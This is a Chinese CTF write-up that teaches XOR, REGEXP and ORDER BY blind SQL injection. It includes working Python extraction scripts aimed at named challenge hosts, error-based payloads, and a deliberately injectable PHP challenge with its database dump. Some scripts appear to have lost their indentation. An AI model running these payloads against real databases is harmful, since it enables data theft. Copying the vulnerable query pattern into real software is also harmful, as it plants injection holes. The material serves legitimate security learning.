从CTF题中学习几种有趣(奇怪)的SQL注入

说在前面

文章已投稿至先知社区,具体内容:从CTF题中学习几种有趣(奇怪)的SQL注入

1.异或注入

题目地址:http://119.23.73.3:5004/

在一个师傅的博客中看到这题的Writeup,尝试按照他的payload进行复现,怎么都复现不出来。后来在安全客上看到另一篇异或注入的文章,才把这个题解决了。

初步测试之后会发现,题目过滤了空格,+,*,or,substr…等一些字符。而且#号注释也不起作用。

于是尝试异或注入。

http://119.23.73.3:5004/?id=1'^'1    返回错误
http://119.23.73.3:5004/?id=1'^'0    返回正常

在MYSQL命令中:

01_mysql.jpg

可见,当/?id=1’^’1时,传递到数据库当中,是id=0,由于为0的id不存在,所以这里返回错误。第二个同理。

这里属于布尔盲注,于是构造payload,用脚本跑:

检索数据库:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1

检索出来的库为:information_schema,moctf,mysql,performance_schema

检索表:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='moctf')),1,1))=104))^'1'='1

检索出来的表:do_y0u_l1ke_long_t4ble_name,news

检索字段:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='do_y0u_l1ke_long_t4ble_name')),1,1))=104))^'1'='1

检索出来的字段:d0_you_als0_l1ke_very_long_column_name

读Flag:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(d0_you_als0_l1ke_very_long_column_name))FROM(moctf.do_y0u_l1ke_long_t4ble_name)),1,1))=104))^'1'='1

moctfb1ind_SQL_1njecti0n_g0od

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

#文字转ascii ord()
#ascii转文字 ascii()

dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,"
url = "http://119.23.73.3:5004/?id=2'^"
keyword = "Tip"
string = ""

for i in range(1, 300):
for j in dic:
payload = "!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{0},1))={1}))^'1'='1".format(str(i),ord(j))
url_get = url + payload
print(url_get)
content = requests.get(url_get)
if keyword in content.text:
string += j
print(string)
break
print("result = " + string)

跑出来的Flag:

01_getflag.jpg

2.REGEXP盲注

题目链接:http://ctf5.shiyanbar.com/web/earnest/index.php

Writeup(要登录):http://www.shiyanbar.com/ctf/writeup/4828

这道题我本来是信心满满的,然后越做越不对劲。做这道题的时候并没有fuzz的字段还没有逗号,莫名就会被拦截,搞得一头雾水。最后还是跑去看Writeup了。

先fuzz单字符来看看waf。还是拦截了很多的,而且逗号和空格也被过滤了。

02_fuzzresult.jpg

除此之外,被过滤的还有:is not, union, sleep, substr, benchmark, substring, and。 并且根据大佬的思路,这里的or,+,*也都会被替换为空

看来时间盲注是没戏了。并且过滤了逗号。

我们知道,regexp盲注的原理是用正则表达式匹配。

例子:

正常的语句为:select username from users where id = 1
正常返回:admin

构造语句:
select (select username from users where id = 1) regexp '^a' 返回真(1)
select (select username from users where id = 1) regexp '^b' 返回假(0)

因为这里'^a'是匹配以a开头的字符串,原来正常返回的就是admin,所以会返回真。

继续就可以使用 regexp '^ad'...读出想要的数据

那么这里该怎么构造呢?

  • 获取version

先用length来判断verison的长度:

id=11'Or(LENGTH(version())=6)Or'1'='

由于^被过滤了,所以用$来从尾部开始读。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

key = "You are in"
words = ""
data = {"id": ""}
word = '0123456789.'

for i in range(10):
for j in word:
data['id'] = "11'Or(SELECT(version()regexp'{}$'))Or'1'='".format(j+words)
print(data)
content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
if key in content.text:
words = str(j) + words
print(words)

最后跑出来为:“5.6..4”

  • 获取数据库名

将上面的word替换为:”0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,”, version()替换为database()即可。

跑出来为:Ctf_sql_bOol_bLInd

  • 获取表

注意这里的seperator里面的or要双写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

key = "You are in"
words = ""
data = {"id": ""}
word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~."

for i in range(30):
for j in word:
data['id'] = "11'Or(SELECT((SELECT(group_concat(table_name\nseparatoorr\n'@'))FROM(INFORMATION_SCHEMA.tables)WHERE(TABLE_SCHEMA=database()))regexp'{}$'))Or'1'='".format(j+words)
print(data)
content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
#print(content.text)
if key in content.text:
words = str(j) + words
print(words)

跑出来的表:fIAg@useRs

可能是脚本的原因,我跑出来的表是有大写有小写。

并且这里有个坑就是逗号被过滤了,导致group_concat必须使用separator指定字符来分割。

  • 获取字段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

key = "You are in"
words = ""
data = {"id": ""}
word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~."

for i in range(30):
for j in word:
data['id'] = "11'Or(SELECT((SELECT(group_concat(column_name\nseparatoorr\n'@'))FROM(INFORMATION_SCHEMA.columns)WHERE(table_name='fiag'))regexp'{}$'))Or'1'='".format(j+words)
print(data)
content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
#print(content.text)
if key in content.text:
if j == "$":
words = j+ words
else:
words = j+ words
print(words)

这里的坑实在是太奇怪了,当word里面不加点号时,跑出来只有:4g,原因是字段的名字为fl$4g,里面包含一个$导致正则匹配错误。

Writeup原作者,将点号加到了word里。跑出来就为:fl..g,可以猜测到字段名为:fl$4g (真的是猜测)

在正则当中,点号是用来匹配任意字符的,这里的$就会被.替代。这里我真的被卡了好久。

  • 获取flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

key = "You are in"
words = ""
data = {"id": ""}
word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~."

for i in range(30):
for j in word:
data['id'] = "11'Or(SELECT(SELECT(fl$4g)FROM(fiag))regexp'{}$')Or'1'='".format(str(j)+words)
print(data)
content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
#print(content.text)
if key in content.text:
words = str(j) + words
print(words)

最后跑出来的结果为:

Fla.{HAh.~YOu.WIn.}

像跑字段一样尝试之后可以猜测到:

最后的flag为:

flag{haha~you win!}
  • 总结

这道题其实可以使用mid来做,会更简单,不会再像这个.号一样需要自己去猜。但还是会很多的坑。

mid方式参考:https://www.cnblogs.com/Ragd0ll/p/8684767.html

这题这样做的意义更多的是学习regexp盲注吧。

3.ORDER BY 注入

先来看一下ORDER BY注入的原理

SELECT username, password FROM users order by 1 asc;

这是一个常见的order by使用语句,后面的数字是列号(也可以指定列名),asc & desc指定是升序还是降序。

注意:在order by后面的不会根据计算的结果来排序。

这里有以下几种方式来进行测试:

直接加报错注入的payload:

直接在order by后面加语句:order by (SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e))) 进行报错注入

rand()方式

rand()会返回一个0和1之间的随机数,如果参数被赋值,同一个参数会返回同一个数。
这里就可以用布尔盲注的方式来进行注入
order by rand(mid(version(),1,1)=5)
当然这里也可以用时间盲注的方式。

and payload时间盲注方式

在order by后面的不会根据计算的结果来排序,但是当我们的payload有延迟命令的时候,页面还是会延迟的。

使用and连接时间延迟payload:

order by 1 and (If(substr(version(),1,1)=5,0,sleep(5)))

这里用sqllib作为一个学习的例子:

它的源代码为:

1
2
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";

报错注入的payload:

读php版本:

http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e)))--+

读表:

http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'security'),0x7e)))--+

读字段:

http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'),0x7e)))--+

读内容:

http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT group_concat(username) FROM users),0x7e)))--+

rand()方式和and时间盲注的payload基本差不多,这里就不再重复了。

另一种order by注入

我自己写了一个题来学习这一种order by注入。题目过滤了F1g3这个字段名。在id=3时,F1g3字段存在flag的base16编码。(直接过滤Flag会更好)

查询语句:

$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";

已知:数据库名:user,表名:this_1s_th3_fiag_tab13,字段名:F1g3,列号为2

因为过滤了F1g3这个字段名,我们不能直接用普通盲注的方式得到Flag,所以就得使用一种特别的order by盲注。

访问:
index.php?id=3 union select 1,2,3 order by 1
返回:
id: 1 name: 3 
id: 3 name: threezh1 

可以看到这里的1,3分别对应了id和name。 并使用了order by指定id排序。

当我们将字段1修改为4时,也就是访问:

index.php?id=3 union select 4,2,3 order by 1

就会返回:

id: 3 name: threezh1 
id: 4 name: 3 

这是因为,在排序的时候,order by是默认升序排列。select 4,2,3时就会排到后面。

根据这个差异,我们可以指定按第二列来排序,并在select里猜测flag的值。这样就可以不使用F1g3这个字段名就把值读出来。

访问:/index.php?id=3 union select 1,'6',3 order by 2
返回:
id: 1 name: 3 
id: 3 name: threezh1 

访问:/index.php?id=3 union select 1,'7',3 order by 2
返回:
id: 3 name: threezh1 
id: 1 name: 3 

出现差别了,因为这里是大于才会出现排序不一样,所以flag的第一个字符为6。

按照这个思路,写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
key = "<tr><td> id: 3 </td> <td> name: threezh1 </td> <br/></tr><tr><td> id: 3 </td> <td> name: 3 </td> <br/></tr>"
words = ""
data = "id=3 union select 3,'{0}',3 order by 2"
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"


for i in range(100):
for j in dic:
payload = data.format(words + j)
print(payload)
content = requests.get("http://127.0.0.1/index.php?" + payload)
if key in content.text:
words = words + temp
print(words)
break
temp = j

最后可以直接得到flag的base16编码。

03_getflag.jpg

这里有个问题就是,当select 1,2,3 中字段位的数据与数据库里的数据相等时,匹配的时候如果是匹配的是7就是7不用再退一位。

最后跑出来是 666c61677b643067335f74687265657a68317c

那么真实的flag的base16编码为:666c61677b643067335f74687265657a68317d

解码即可

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = 'root'; // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysqli_error());
}
mysqli_select_db($conn, 'user');
$id = $_GET['id'];
if (!isset($id)){
echo "Please tell me the id , And you should think what is the sort way.";
exit();
}
//echo strtolower($id)."<br/>";
if (preg_match('/(char|hex|conv|lower|lpad|into|password|md5|encode|decode|convert|cast)/i',strtolower($id)) != 0){ //|\s
echo "NoNoNo";
exit();
}

if (stripos($id, "F1ag")){
echo "Close, but No!!! Thinking...";
exit();
}
$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";
$retval = mysqli_query($conn, $sql);
if(!$retval)
{
die('???');// . mysqli_error($conn)
}
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
{
echo "<tr><td> id: {$row['id']} </td> ".
"<td> name: {$row['username']} </td> <br/>".
"</tr>";
}
mysqli_close($conn);
?>

sql:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
-- Table structure for this_1s_th3_fiag_tab13
-- ----------------------------
DROP TABLE IF EXISTS `this_1s_th3_fiag_tab13`;
CREATE TABLE `this_1s_th3_fiag_tab13` (
`id` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`F1ag` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;

-- ----------------------------
-- Records of this_1s_th3_fiag_tab13
-- ----------------------------
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('3', '666C61677B643067335F74687265657A68317D', 'threezh1', 'You is pig');
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('1', 'No the Flag', 'oops,This is not the flag id', 'You is pig');
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('2', 'No the Flag', 'Not the flag also', 'You is pig');

SET FOREIGN_KEY_CHECKS = 1;

参考

0%